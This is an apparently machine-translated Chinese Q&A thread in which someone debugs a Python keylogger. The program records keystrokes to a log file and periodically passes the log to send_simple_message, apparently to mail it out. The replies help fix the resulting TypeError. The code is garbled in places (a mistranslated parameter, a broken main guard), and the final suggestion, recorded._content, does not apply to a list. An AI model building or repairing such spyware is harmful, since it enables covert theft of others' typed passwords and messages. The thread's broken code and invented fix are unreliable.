TypeError: write() argument must be str, not list

TypeError: write() argument must be str, not list

def file_input(记录):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

if name == "main":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

我试图在 python 中编写一个键盘记录器,但我遇到了这样的类型错误,我该如何解决这个问题?

我只是将记录变量放入 write() 中,它导致类型错误,记录变量类型是列表。所以我尝试使用 join func 但它不起作用

您正在尝试使用 w.write() 写入文件,但它只需要一个字符串作为参数。 now_time 是 'datetime' 类型而不是字符串。如果您不需要格式化日期,您可以这样做:

w.write(str(nowtime))

相同
w.write(recorded)

recorded 是一个事件列表,在尝试将该字符串写入文件之前,您需要使用它来构造一个字符串。例如:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))

然后,在 file_input() 函数中,您可以:

w.write(typedstr)

通过更改为 w.write(str(recorded)),我的问题得到解决。

在某些情况下,当将字符串写入文本文件时仍然存在编码问题,_content 函数可能很有用。

w.write(str(recorded._content))